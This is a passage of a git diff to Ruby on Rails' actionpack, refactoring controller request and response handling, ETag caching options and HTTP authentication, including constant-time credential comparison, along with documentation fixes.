-0,0 +1,48 @@ +module ActionController + # Override the default form builder for all views rendered by this + # controller and any of its descendants. Accepts a subclass of + # +ActionView::Helpers::FormBuilder+. + # + # For example, given a form builder: + # + # class AdminFormBuilder < ActionView::Helpers::FormBuilder + # def special_field(name) + # end + # end + # + # The controller specifies a form builder as its default: + # + # class AdminAreaController < ApplicationController + # default_form_builder AdminFormBuilder + # end + # + # Then in the view any form using +form_for+ will be an instance of the + # specified form builder: + # + # <%= form_for(@instance) do |builder| %> + # <%= builder.special_field(:name) %> + # <% end %> + module FormBuilder + extend ActiveSupport::Concern + + included do + class_attribute :_default_form_builder, instance_accessor: false + end + + module ClassMethods + # Set the form builder to be used as the default for all forms + # in the views rendered by this controller and its subclasses. + # + # ==== Parameters + # * <tt>builder</tt> - Default form builder, an instance of +ActionView::Helpers::FormBuilder+ + def default_form_builder(builder) + self._default_form_builder = builder + end + end + + # Default form builder for the controller + def default_form_builder + self.class._default_form_builder + end + end +end diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb index 87609d8aa7..a0917b4fdb 100644 --- a/actionpack/lib/action_controller/log_subscriber.rb +++ b/actionpack/lib/action_controller/log_subscriber.rb @@ -25,7 +25,9 @@ module ActionController status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name) end message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms" - message << " (#{additions.join(" | ")})" unless additions.blank? + message << " (#{additions.join(" | ".freeze)})" unless additions.empty? + message << "\n\n" if defined?(Rails.env) && Rails.env.development? + message end end diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb index ae111e4951..f6e67b02d7 100644 --- a/actionpack/lib/action_controller/metal.rb +++ b/actionpack/lib/action_controller/metal.rb @@ -1,5 +1,7 @@ require 'active_support/core_ext/array/extract_options' require 'action_dispatch/middleware/stack' +require 'action_dispatch/http/request' +require 'action_dispatch/http/response' module ActionController # Extend ActionDispatch middleware stack to make it aware of options @@ -11,22 +13,14 @@ module ActionController # class MiddlewareStack < ActionDispatch::MiddlewareStack #:nodoc: class Middleware < ActionDispatch::MiddlewareStack::Middleware #:nodoc: - def initialize(klass, *args, &block) - options = args.extract_options! - @only = Array(options.delete(:only)).map(&:to_s) - @except = Array(options.delete(:except)).map(&:to_s) - args << options unless options.empty? - super + def initialize(klass, args, actions, strategy, block) + @actions = actions + @strategy = strategy + super(klass, args, block) end def valid?(action) - if @only.present? - @only.include?(action) - elsif @except.present? - !@except.include?(action) - else - true - end + @strategy.call @actions, action end end @@ -37,6 +31,32 @@ module ActionController middleware.valid?(action) ? middleware.build(a) : a end end + + private + + INCLUDE = ->(list, action) { list.include? action } + EXCLUDE = ->(list, action) { !list.include? action } + NULL = ->(list, action) { true } + + def build_middleware(klass, args, block) + options = args.extract_options! + only = Array(options.delete(:only)).map(&:to_s) + except = Array(options.delete(:except)).map(&:to_s) + args << options unless options.empty? + + strategy = NULL + list = nil + + if only.any? + strategy = INCLUDE + list = only + elsif except.any? + strategy = EXCLUDE + list = except + end + + Middleware.new(get_class(klass), args, list, strategy, block) + end end # <tt>ActionController::Metal</tt> is the simplest possible controller, providing a @@ -98,11 +118,10 @@ module ActionController class Metal < AbstractController::Base abstract! - attr_internal_writer :env - def env - @_env ||= {} + @_request.env end + deprecate :env # Returns the last part of the controller's name, underscored, without the ending # <tt>Controller</tt>. For instance, PostsController returns <tt>posts</tt>. @@ -114,23 +133,23 @@ module ActionController @controller_name ||= name.demodulize.sub(/Controller$/, '').underscore end + def self.make_response!(request) + ActionDispatch::Response.create.tap do |res| + res.request = request + end + end + # Delegates to the class' <tt>controller_name</tt> def controller_name self.class.controller_name end - # The details below can be overridden to support a specific - # Request and Response object. The default ActionController::Base - # implementation includes RackDelegation, which makes a request - # and response object available. You might wish to control the - # environment and response manually for performance reasons. - - attr_internal :headers, :response, :request + attr_internal :response, :request delegate :session, :to => "@_request" + delegate :headers, :status=, :location=, :content_type=, + :status, :location, :content_type, :to => "@_response" def initialize - @_headers = {"Content-Type" => "text/html"} - @_status = 200 @_request = nil @_response = nil @_routes = nil @@ -145,64 +164,49 @@ module ActionController @_params = val end - # Basic implementations for content_type=, location=, and headers are - # provided to reduce the dependency on the RackDelegation module - # in Renderer and Redirector. - - def content_type=(type) - headers["Content-Type"] = type.to_s - end - - def content_type - headers["Content-Type"] - end - - def location - headers["Location"] - end - - def location=(url) - headers["Location"] = url - end + alias :response_code :status # :nodoc: - # Basic url_for that can be overridden for more robust functionality + # Basic url_for that can be overridden for more robust functionality. def url_for(string) string end - def status - @_status - end - alias :response_code :status # :nodoc: - - def status=(status) - @_status = Rack::Utils.status_code(status) - end - def response_body=(body) body = [body] unless body.nil? || body.respond_to?(:each) + response.reset_body! + return unless body + response.body = body super end # Tests if render or redirect has already happened. def performed? - response_body || (response && response.committed?) + response_body || response.committed? end - def dispatch(name, request) #:nodoc: + def dispatch(name, request, response) #:nodoc: set_request!(request) + set_response!(response) process(name) + request.commit_flash to_a end + def set_response!(response) # :nodoc: + @_response = response + end + def set_request!(request) #:nodoc: @_request = request - @_env = request.env - @_env['action_controller.instance'] = self + @_request.controller_instance = self end def to_a #:nodoc: - response ? response.to_a : [status, headers, response_body] + response.to_a + end + + def reset_session + @_request.reset_session end class_attribute :middleware_stack @@ -230,15 +234,32 @@ module ActionController req = ActionDispatch::Request.new env action(req.path_parameters[:action]).call(env) end + class << self; deprecate :call; end # Returns a Rack endpoint for the given action name. - def self.action(name, klass = ActionDispatch::Request) + def self.action(name) if middleware_stack.any? middleware_stack.build(name) do |env| - new.dispatch(name, klass.new(env)) + req = ActionDispatch::Request.new(env) + res = make_response! req + new.dispatch(name, req, res) end else - lambda { |env| new.dispatch(name, klass.new(env)) } + lambda { |env| + req = ActionDispatch::Request.new(env) + res = make_response! req + new.dispatch(name, req, res) + } + end + end + + # Direct dispatch to the controller. Instantiates the controller, then + # executes the action named +name+. + def self.dispatch(name, req, res) + if middleware_stack.any? + middleware_stack.build(name) { |env| new.dispatch(name, req, res) }.call req.env + else + new.dispatch(name, req, res) end end end diff --git a/actionpack/lib/action_controller/metal/basic_implicit_render.rb b/actionpack/lib/action_controller/metal/basic_implicit_render.rb new file mode 100644 index 0000000000..cef65a362c --- /dev/null +++ b/actionpack/lib/action_controller/metal/basic_implicit_render.rb @@ -0,0 +1,11 @@ +module ActionController + module BasicImplicitRender # :nodoc: + def send_action(method, *args) + super.tap { default_render unless performed? } + end + + def default_render(*args) + head :no_content + end + end +end diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb index 47bcfdb1e9..480e265e44 100644 --- a/actionpack/lib/action_controller/metal/conditional_get.rb +++ b/actionpack/lib/action_controller/metal/conditional_get.rb @@ -4,7 +4,6 @@ module ActionController module ConditionalGet extend ActiveSupport::Concern - include RackDelegation include Head included do @@ -37,10 +36,25 @@ module ActionController # # === Parameters: # - # * <tt>:etag</tt>. - # * <tt>:last_modified</tt>. + # * <tt>:etag</tt> Sets a "weak" ETag validator on the response. See the + # +:weak_etag+ option. + # * <tt>:weak_etag</tt> Sets a "weak" ETag validator on the response. + # Requests that set If-None-Match header may return a 304 Not Modified + # response if it matches the ETag exactly. A weak ETag indicates semantic + # equivalence, not byte-for-byte equality, so they're good for caching + # HTML pages in browser caches. They can't be used for responses that + # must be byte-identical, like serving Range requests within a PDF file. + # * <tt>:strong_etag</tt> Sets a "strong" ETag validator on the response. + # Requests that set If-None-Match header may return a 304 Not Modified + # response if it matches the ETag exactly. A strong ETag implies exact + # equality: the response must match byte for byte. This is necessary for + # doing Range requests within a large video or PDF file, for example, or + # for compatibility with some CDNs that don't support weak ETags. + # * <tt>:last_modified</tt> Sets a "weak" last-update validator on the + # response. Subsequent requests that set If-Modified-Since may return a + # 304 Not Modified response if last_modified <= If-Modified-Since. # * <tt>:public</tt> By default the Cache-Control header is private, set this to - # +true+ if you want your application to be cachable by other devices (proxy caches). + # +true+ if you want your application to be cacheable by other devices (proxy caches). # * <tt>:template</tt> By default, the template digest for the current # controller/action is included in ETags. If the action renders a # different template, you can include its digest instead. If the action @@ -67,7 +81,7 @@ module ActionController # # You can also pass an object that responds to +maximum+, such as a # collection of active records. In this case +last_modified+ will be set by - # calling +maximum(:updated_at)+ on the collection (the timestamp of the + # calling <tt>maximum(:updated_at)</tt> on the collection (the timestamp of the # most recently updated record) and the +etag+ by passing the object itself. # # def index @@ -87,12 +101,16 @@ module ActionController # # before_action { fresh_when @article, template: 'widgets/show' } # - def fresh_when(object = nil, etag: object, last_modified: nil, public: false, template: nil) + def fresh_when(object = nil, etag: nil, weak_etag: nil, strong_etag: nil, last_modified: nil, public: false, template: nil) + weak_etag ||= etag || object unless strong_etag last_modified ||= object.try(:updated_at) || object.try(:maximum, :updated_at) - if etag || template - response.etag = combine_etags(etag: etag, last_modified: last_modified, - public: public, template: template) + if strong_etag + response.strong_etag = combine_etags strong_etag, + last_modified: last_modified, public: public, template: template + elsif weak_etag || template + response.weak_etag = combine_etags weak_etag, + last_modified: last_modified, public: public, template: template end response.last_modified = last_modified if last_modified @@ -108,10 +126,25 @@ module ActionController # # === Parameters: # - # * <tt>:etag</tt>. - # * <tt>:last_modified</tt>. + # * <tt>:etag</tt> Sets a "weak" ETag validator on the response. See the + # +:weak_etag+ option. + # * <tt>:weak_etag</tt> Sets a "weak" ETag validator on the response. + # requests that set If-None-Match header may return a 304 Not Modified + # response if it matches the ETag exactly. A weak ETag indicates semantic + # equivalence, not byte-for-byte equality, so they're good for caching + # HTML pages in browser caches. They can't be used for responses that + # must be byte-identical, like serving Range requests within a PDF file. + # * <tt>:strong_etag</tt> Sets a "strong" ETag validator on the response. + # Requests that set If-None-Match header may return a 304 Not Modified + # response if it matches the ETag exactly. A strong ETag implies exact + # equality: the response must match byte for byte. This is necessary for + # doing Range requests within a large video or PDF file, for example, or + # for compatibility with some CDNs that don't support weak ETags. + # * <tt>:last_modified</tt> Sets a "weak" last-update validator on the + # response. Subsequent requests that set If-Modified-Since may return a + # 304 Not Modified response if last_modified <= If-Modified-Since. # * <tt>:public</tt> By default the Cache-Control header is private, set this to - # +true+ if you want your application to be cachable by other devices (proxy caches). + # +true+ if you want your application to be cacheable by other devices (proxy caches). # * <tt>:template</tt> By default, the template digest for the current # controller/action is included in ETags. If the action renders a # different template, you can include its digest instead. If the action @@ -181,12 +214,12 @@ module ActionController # super if stale? @article, template: 'widgets/show' # end # - def stale?(object = nil, etag: object, last_modified: nil, public: nil, template: nil) - fresh_when(object, etag: etag, last_modified: last_modified, public: public, template: template) + def stale?(object = nil, **freshness_kwargs) + fresh_when(object, **freshness_kwargs) !request.fresh?(response) end - # Sets a HTTP 1.1 Cache-Control header. Defaults to issuing a +private+ + # Sets an HTTP 1.1 Cache-Control header. Defaults to issuing a +private+ # instruction, so that intermediate caches must not cache the response. # # expires_in 20.minutes @@ -196,7 +229,7 @@ module ActionController # This method will overwrite an existing Cache-Control header. # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities. # - # The method will also ensure a HTTP Date header for client compatibility. + # The method will also ensure an HTTP Date header for client compatibility. def expires_in(seconds, options = {}) response.cache_control.merge!( :max_age => seconds, @@ -209,7 +242,7 @@ module ActionController response.date = Time.now unless response.date? end - # Sets a HTTP 1.1 Cache-Control header of <tt>no-cache</tt> so no caching should + # Sets an HTTP 1.1 Cache-Control header of <tt>no-cache</tt> so no caching should # occur by the browser or intermediate caches (like caching proxy servers). def expires_now response.cache_control.replace(:no_cache => true) @@ -217,26 +250,23 @@ module ActionController # Cache or yield the block. The cache is supposed to never expire. # - # You can use this method when you have a HTTP response that never changes, + # You can use this method when you have an HTTP response that never changes, # and the browser and proxies should cache it indefinitely. # # * +public+: By default, HTTP responses are private, cached only on the # user's web browser. To allow proxies to cache the response, set +true+ to # indicate that they can serve the cached response to all users. - # - # * +version+: the version passed as a key for the cache. - def http_cache_forever(public: false, version: 'v1') + def http_cache_forever(public: false) expires_in 100.years, public: public - yield if stale?(etag: "#{version}-#{request.fullpath}", - last_modified: Time.parse('2011-01-01').utc, + yield if stale?(etag: request.fullpath, + last_modified: Time.new(2011, 1, 1).utc, public: public) end private - def combine_etags(options) - etags = etaggers.map { |etagger| instance_exec(options, &etagger) }.compact - etags.unshift options[:etag] + def combine_etags(validator, options) + [validator, *etaggers.map { |etagger| instance_exec(options, &etagger) }].compact end end end diff --git a/actionpack/lib/action_controller/metal/cookies.rb b/actionpack/lib/action_controller/metal/cookies.rb index d787f014cd..44925641a1 100644 --- a/actionpack/lib/action_controller/metal/cookies.rb +++ b/actionpack/lib/action_controller/metal/cookies.rb @@ -2,10 +2,8 @@ module ActionController #:nodoc: module Cookies extend ActiveSupport::Concern - include RackDelegation - included do - helper_method :cookies + helper_method :cookies if defined?(helper_method) end private diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb index 1abd8d3a33..6cd6130032 100644 --- a/actionpack/lib/action_controller/metal/data_streaming.rb +++ b/actionpack/lib/action_controller/metal/data_streaming.rb @@ -25,14 +25,13 @@ module ActionController #:nodoc: # * <tt>:filename</tt> - suggests a filename for the browser to use. # Defaults to <tt>File.basename(path)</tt>. # * <tt>:type</tt> - specifies an HTTP content type. - # You can specify either a string or a symbol for a registered type register with - # <tt>Mime::Type.register</tt>, for example :json - # If omitted, type will be guessed from the file extension specified in <tt>:filename</tt>. - # If no content type is registered for the extension, default type 'application/octet-stream' will be used. + # You can specify either a string or a symbol for a registered type with <tt>Mime::Type.register</tt>, for example :json. + # If omitted, the type will be inferred from the file extension specified in <tt>:filename</tt>. + # If no content type is registered for the extension, the default type 'application/octet-stream' will be used. # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded. # Valid values are 'inline' and 'attachment' (default). # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200. - # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser guess the filename from + # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser to guess the filename from # the URL, which is necessary for i18n filenames on certain browsers # (setting <tt>:filename</tt> overrides this option). # @@ -72,41 +71,21 @@ module ActionController #:nodoc: self.status = options[:status] || 200 self.content_type = options[:content_type] if options.key?(:content_type) - self.response_body = FileBody.new(path) - end - - # Avoid having to pass an open file handle as the response body. - # Rack::Sendfile will usually intercept the response and uses - # the path directly, so there is no reason to open the file. - class FileBody #:nodoc: - attr_reader :to_path - - def initialize(path) - @to_path = path - end - - # Stream the file's contents if Rack::Sendfile isn't present. - def each - File.open(to_path, 'rb') do |file| - while chunk = file.read(16384) - yield chunk - end - end - end + response.send_file path end # Sends the given binary data to the browser. This method is similar to # <tt>render plain: data</tt>, but also allows you to specify whether # the browser should display the response as a file attachment (i.e. in a # download dialog) or as inline data. You may also set the content type, - # the apparent file name, and other things. + # the file name, and other things. # # Options: # * <tt>:filename</tt> - suggests a filename for the browser to use. - # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify - # either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json - # If omitted, type will be guessed from the file extension specified in <tt>:filename</tt>. - # If no content type is registered for the extension, default type 'application/octet-stream' will be used. + # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. + # You can specify either a string or a symbol for a registered type with <tt>Mime::Type.register</tt>, for example :json. + # If omitted, type will be inferred from the file extension specified in <tt>:filename</tt>. + # If no content type is registered for the extension, the default type 'application/octet-stream' will be used. # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded. # Valid values are 'inline' and 'attachment' (default). # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200. @@ -126,7 +105,7 @@ module ActionController #:nodoc: # See +send_file+ for more information on HTTP Content-* headers and caching. def send_data(data, options = {}) #:doc: send_file_headers! options - render options.slice(:status, :content_type).merge(:text => data) + render options.slice(:status, :content_type).merge(body: data) end private diff --git a/actionpack/lib/action_controller/metal/etag_with_template_digest.rb b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb index f9303efe6c..669cf55bca 100644 --- a/actionpack/lib/action_controller/metal/etag_with_template_digest.rb +++ b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb @@ -25,7 +25,7 @@ module ActionController class_attribute :etag_with_template_digest self.etag_with_template_digest = true - ActiveSupport.on_load :action_view, yield: true do |action_view_base| + ActiveSupport.on_load :action_view, yield: true do etag do |options| determine_template_etag(options) if etag_with_template_digest end diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb index 18e003741d..5c0ada37be 100644 --- a/actionpack/lib/action_controller/metal/exceptions.rb +++ b/actionpack/lib/action_controller/metal/exceptions.rb @@ -3,14 +3,19 @@ module ActionController end class BadRequest < ActionControllerError #:nodoc: - attr_reader :original_exception + def initialize(msg = nil, e = nil) + if e + ActiveSupport::Deprecation.warn("Passing #original_exception is deprecated and has no effect. " \ + "Exceptions will automatically capture the original exception.", caller) + end - def initialize(type = nil, e = nil) - return super() unless type && e + super(msg) + set_backtrace $!.backtrace if $! + end - super("Invalid #{type} parameters: #{e.message}") - @original_exception = e - set_backtrace e.backtrace + def original_exception + ActiveSupport::Deprecation.warn("#original_exception is deprecated. Use #cause instead.", caller) + cause end end diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb index d920668184..ea8e91ce24 100644 --- a/actionpack/lib/action_controller/metal/force_ssl.rb +++ b/actionpack/lib/action_controller/metal/force_ssl.rb @@ -2,17 +2,17 @@ require 'active_support/core_ext/hash/except' require 'active_support/core_ext/hash/slice' module ActionController - # This module provides a method which will redirect browser to use HTTPS + # This module provides a method which will redirect the browser to use HTTPS # protocol. This will ensure that user's sensitive information will be - # transferred safely over the internet. You _should_ always force browser + # transferred safely over the internet. You _should_ always force the browser # to use HTTPS when you're transferring sensitive information such as # user authentication, account information, or credit card information. # # Note that if you are really concerned about your application security, # you might consider using +config.force_ssl+ in your config file instead. # That will ensure all the data transferred via HTTPS protocol and prevent - # user from getting session hijacked when accessing the site under unsecured - # HTTP protocol. + # the user from getting their session hijacked when accessing the site over + # unsecured HTTP protocol. module ForceSSL extend ActiveSupport::Concern include AbstractController::Callbacks @@ -55,10 +55,10 @@ module ActionController # You can pass any of the following options to affect the before_action callback # * <tt>only</tt> - The callback should be run only for this action # * <tt>except</tt> - The callback should be run for all actions except this action - # * <tt>if</tt> - A symbol naming an instance method or a proc; the callback - # will be called only when it returns a true value. - # * <tt>unless</tt> - A symbol naming an instance method or a proc; the callback - # will be called only when it returns a false value. + # * <tt>if</tt> - A symbol naming an instance method or a proc; the + # callback will be called only when it returns a true value. + # * <tt>unless</tt> - A symbol naming an instance method or a proc; the + # callback will be called only when it returns a false value. def force_ssl(options = {}) action_options = options.slice(*ACTION_OPTIONS) redirect_options = options.except(*ACTION_OPTIONS) @@ -71,8 +71,8 @@ module ActionController # Redirect the existing request to use the HTTPS protocol. # # ==== Parameters - # * <tt>host_or_options</tt> - Either a host name or any of the url & redirect options - # available to the <tt>force_ssl</tt> method. + # * <tt>host_or_options</tt> - Either a host name or any of the url & + # redirect options available to the <tt>force_ssl</tt> method. def force_ssl_redirect(host_or_options = nil) unless request.ssl? options = { diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb index 70f42bf565..5e9832fd4e 100644 --- a/actionpack/lib/action_controller/metal/head.rb +++ b/actionpack/lib/action_controller/metal/head.rb @@ -17,8 +17,18 @@ module ActionController # # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list of valid +status+ symbols. def head(status, options = {}) - options, status = status, nil if status.is_a?(Hash) - status ||= options.delete(:status) || :ok + if status.is_a?(Hash) + msg = status[:status] ? 'The :status option' : 'The implicit :ok status' + options, status = status, status.delete(:status) + + ActiveSupport::Deprecation.warn(<<-MSG.squish) + #{msg} on `head` has been deprecated and will be removed in Rails 5.1. + Please pass the status as a separate parameter before the options, instead. + MSG + end + + status ||= :ok + location = options.delete(:location) content_type = options.delete(:content_type) @@ -33,17 +43,13 @@ module ActionController if include_content?(self.response_code) self.content_type = content_type || (Mime[formats.first] if formats) - self.response.charset = false if self.response - else - headers.delete('Content-Type') - headers.delete('Content-Length') + self.response.charset = false end - + true end private - # :nodoc: def include_content?(status) case status when 100..199 diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb index 4038101fe0..295f0cb66f 100644 --- a/actionpack/lib/action_controller/metal/helpers.rb +++ b/actionpack/lib/action_controller/metal/helpers.rb @@ -5,10 +5,10 @@ module ActionController # # In addition to using the standard template helpers provided, creating custom helpers to # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller - # will include all helpers. These helpers are only accessible on the controller through <tt>.helpers</tt> + # will include all helpers. These helpers are only accessible on the controller through <tt>#helpers</tt> # - # In previous versions of \Rails the controller will include a helper whose - # name matches that of the controller, e.g., <tt>MyController</tt> will automatically + # In previous versions of \Rails the controller will include a helper which + # matches the name of the controller, e.g., <tt>MyController</tt> will automatically # include <tt>MyHelper</tt>. To return old behavior set +config.action_controller.include_all_helpers+ to +false+. # # Additional helpers can be specified using the +helper+ class method in ActionController::Base or any @@ -44,7 +44,7 @@ module ActionController # the output might look like this: # # 23 Aug 11:30 | Carolina Railhawks Soccer Match - # N/A | Carolina Railhaws Training Workshop + # N/A | Carolina Railhawks Training Workshop # module Helpers extend ActiveSupport::Concern @@ -71,9 +71,9 @@ module ActionController attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") } end - # Provides a proxy to access helpers methods from outside the view. + # Provides a proxy to access helper methods from outside the view. def helpers - @helper_proxy ||= begin + @helper_proxy ||= begin proxy = ActionView::Base.new proxy.config = config.inheritable_copy proxy.extend(_helpers) @@ -100,7 +100,7 @@ module ActionController def all_helpers_from_path(path) helpers = Array(path).flat_map do |_path| extract = /^#{Regexp.quote(_path.to_s)}\/?(.*)_helper.rb$/ - names = Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1') } + names = Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1'.freeze) } names.sort! end helpers.uniq! @@ -113,5 +113,10 @@ module ActionController all_helpers_from_path(helpers_path) end end + + # Provides a proxy to access helper methods from outside the view. + def helpers + @_helper_proxy ||= view_context + end end end diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb index 2273406948..4639348509 100644 --- a/actionpack/lib/action_controller/metal/http_authentication.rb +++ b/actionpack/lib/action_controller/metal/http_authentication.rb @@ -1,4 +1,5 @@ require 'base64' +require 'active_support/security_utils' module ActionController # Makes it dead easy to do HTTP Basic, Digest and Token authentication. @@ -34,7 +35,7 @@ module ActionController # # def authenticate # case request.format - # when Mime::XML, Mime::ATOM + # when Mime[:xml], Mime[:atom] # if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) } # @current_user = user # else @@ -68,22 +69,26 @@ module ActionController def http_basic_authenticate_with(options = {}) before_action(options.except(:name, :password, :realm)) do authenticate_or_request_with_http_basic(options[:realm] || "Application") do |name, password| - name == options[:name] && password == options[:password] + # This comparison uses & so that it doesn't short circuit and + # uses `variable_size_secure_compare` so that length information + # isn't leaked. + ActiveSupport::SecurityUtils.variable_size_secure_compare(name, options[:name]) & + ActiveSupport::SecurityUtils.variable_size_secure_compare(password, options[:password]) end end end end - def authenticate_or_request_with_http_basic(realm = "Application", &login_procedure) - authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm) + def authenticate_or_request_with_http_basic(realm = "Application", message = nil, &login_procedure) + authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm, message) end def authenticate_with_http_basic(&login_procedure) HttpAuthentication::Basic.authenticate(request, &login_procedure) end - def request_http_basic_authentication(realm = "Application") - HttpAuthentication::Basic.authentication_request(self, realm) + def request_http_basic_authentication(realm = "Application", message = nil) + HttpAuthentication::Basic.authentication_request(self, realm, message) end end @@ -94,7 +99,7 @@ module ActionController end def has_basic_credentials?(request) - request.authorization.present? && (auth_scheme(request) == 'Basic') + request.authorization.present? && (auth_scheme(request).downcase == 'basic') end def user_name_and_password(request) @@ -117,10 +122,11 @@ module ActionController "Basic #{::Base64.strict_encode64("#{user_name}:#{password}")}" end - def authentication_request(controller, realm) - controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.gsub(/"/, "")}") + def authentication_request(controller, realm, message) + message ||= "HTTP Basic: Access denied.\n" + controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.tr('"'.freeze, "".freeze)}") controller.status = 401 - controller.response_body = "HTTP Basic: Access denied.\n" + controller.response_body = message end end @@ -170,8 +176,8 @@ module ActionController extend self module ControllerMethods - def authenticate_or_request_with_http_digest(realm = "Application", &password_procedure) - authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm) + def authenticate_or_request_with_http_digest(realm = "Application", message = nil, &password_procedure) + authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm, message) end # Authenticate with HTTP Digest, returns true or false @@ -202,7 +208,7 @@ module ActionController password = password_procedure.call(credentials[:username]) return false unless password - method = request.env['rack.methodoverride.original_method'] || request.env['REQUEST_METHOD'] + method = request.get_header('rack.methodoverride.original_method') || request.get_header('REQUEST_METHOD') uri = credentials[:uri] [true, false].any? do |trailing_question_mark| @@ -259,8 +265,8 @@ module ActionController end def secret_token(request) - key_generator = request.env["action_dispatch.key_generator"] - http_auth_salt = request.env["action_dispatch.http_auth_salt"] + key_generator = request.key_generator + http_auth_salt = request.http_auth_salt key_generator.generate_key(http_auth_salt) end @@ -304,9 +310,9 @@ module ActionController end # Might want a shorter timeout depending on whether the request - # is a PATCH, PUT, or POST, and if client is browser or web service. + # is a PATCH, PUT, or POST, and if the client is a browser or web service. # Can be much shorter if the Stale directive is implemented. This would - # allow a user to use new nonce without prompting user again for their + # allow a user to use new nonce without prompting the user again for their # username and password. def validate_nonce(secret_key, request, value, seconds_to_timeout=5*60) return false if value.nil? @@ -341,7 +347,12 @@ module ActionController # private # def authenticate # authenticate_or_request_with_http_token do |token, options| - # token == TOKEN + # # Compare the tokens in a time-constant manner, to mitigate + # # timing attacks. + # ActiveSupport::SecurityUtils.secure_compare( + # ::Digest::SHA256.hexdigest(token), + # ::Digest::SHA256.hexdigest(TOKEN) + # ) # end # end # end @@ -360,7 +371,7 @@ module ActionController # # def authenticate # case request.format - # when Mime::XML, Mime::ATOM + # when Mime[:xml], Mime[:atom] # if user = authenticate_with_http_token { |t, o| @account.users.authenticate(t, o) } # @current_user = user # else @@ -396,21 +407,21 @@ module ActionController # RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L] module Token TOKEN_KEY = 'token=' - TOKEN_REGEX = /^Token / + TOKEN_REGEX = /^(Token|Bearer)\s+/ AUTHN_PAIR_DELIMITERS = /(?:,|;|\t+)/ extend self module ControllerMethods - def authenticate_or_request_with_http_token(realm = "Application", &login_procedure) - authenticate_with_http_token(&login_procedure) || request_http_token_authentication(realm) + def authenticate_or_request_with_http_token(realm = "Application", message = nil, &login_procedure) + authenticate_with_http_token(&login_procedure) || request_http_token_authentication(realm, message) end def authenticate_with_http_token(&login_procedure) Token.authenticate(self, &login_procedure) end - def request_http_token_authentication(realm = "Application") - Token.authentication_request(self, realm) + def request_http_token_authentication(realm = "Application", message = nil) + Token.authentication_request(self, realm, message) end end @@ -435,15 +446,17 @@ module ActionController end end - # Parses the token and options out of the token authorization header. If - # the header looks like this: + # Parses the token and options out of the token authorization header. + # The value for the Authorization header is expected to have the prefix + # <tt>"Token"</tt> or <tt>"Bearer"</tt>. If the header looks like this: # Authorization: Token token="abc", nonce="def" - # Then the returned token is "abc", and the options is {nonce: "def"} + # Then the returned token is <tt>"abc"</tt>, and the options are + # <tt>{nonce: "def"}</tt> # # request - ActionDispatch::Request instance with the current headers. # - # Returns an Array of [String, Hash] if a token is present. - # Returns nil if no token is found. + # Returns an +Array+ of <tt>[String, Hash]</tt> if a token is present. + # Returns +nil+ if no token is found. def token_and_options(request) authorization_request = request.authorization.to_s if authorization_request[TOKEN_REGEX] @@ -492,15 +505,16 @@ module ActionController "Token #{values * ", "}" end - # Sets a WWW-Authenticate to let the client know a token is desired. + # Sets a WWW-Authenticate header to let the client know a token is desired. # # controller - ActionController::Base instance for the outgoing response. # realm - String realm to use in the header. # # Returns nothing. - def authentication_request(controller, realm) - controller.headers["WWW-Authenticate"] = %(Token realm="#{realm.gsub(/"/, "")}") - controller.__send__ :render, :text => "HTTP Token: Access denied.\n", :status => :unauthorized + def authentication_request(controller, realm, message = nil) + message ||= "HTTP Token: Access denied.\n" + controller.headers["WWW-Authenticate"] = %(Token realm="#{realm.tr('"'.freeze, "".freeze)}") + controller.__send__ :render, plain: message, status: :unauthorized end end end diff --git a/actionpack/lib/action_controller/metal/implicit_render.rb b/actionpack/lib/action_controller/metal/implicit_render.rb index ae04b53825..6192fc0f9c 100644 --- a/actionpack/lib/action_controller/metal/implicit_render.rb +++ b/actionpack/lib/action_controller/metal/implicit_render.rb @@ -1,13 +1,63 @@ +require 'active_support/core_ext/string/strip' + module ActionController + # Handles implicit rendering for a controller action that does not + # explicitly respond with +render+, +respond_to+, +redirect+, or +head+. + # + # For API controllers, the implicit response is always 204 No Content. + # + # For all other controllers, we use these heuristics to decide whether to + # render a template, raise an error for a missing template, or respond with + # 204 No Content: + # + # First, if we DO find a template, it's rendered. Template lookup accounts + # for the action name, locales, format, variant, template handlers, and more + # (see 